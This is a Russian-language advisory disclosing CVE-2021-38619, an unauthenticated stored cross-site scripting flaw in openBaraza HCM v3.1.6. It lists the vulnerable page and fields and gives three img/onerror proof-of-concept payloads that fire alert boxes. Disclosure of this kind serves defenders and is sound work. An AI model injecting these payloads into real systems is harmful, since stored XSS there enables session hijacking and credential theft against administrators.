CVE-2021-38619 Уязвимость хранимого XSS без аутентификации в openBaraza HCM HR Payroll v.3.1.6

openBaraza HCM v.3.1.6 не правильно нейтрализует контролируемый пользователем ввод, что может позволить неаутентифицированному удаленному злоумышленнику провести хранимую межсайтовую скриптинг (XSS) атаку на административного пользователя с нескольких страниц. Если злоумышленник внедряет произвольный JavaScript-пейлоад на уязвимые страницы, а легитимные пользователи пытаются посетить затронутые страницы, пейлоад будет выполнен. Это может привести к краже учетных данных, перехвату сессии или доставки вредоносного ПО жертве.

Авторы обнаружения: Charles Bickel & Gideon Gray

---

Уязвимая страница: http://serverip:9090/hr/application.jsp

Уязвимые поля ввода: first_name, surname, email

Полезные нагрузки:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('First');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('Surname');" />
• [email protected]<img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

Затронутая страница: http://serverip:9090/hr/index.jsp?view=23:0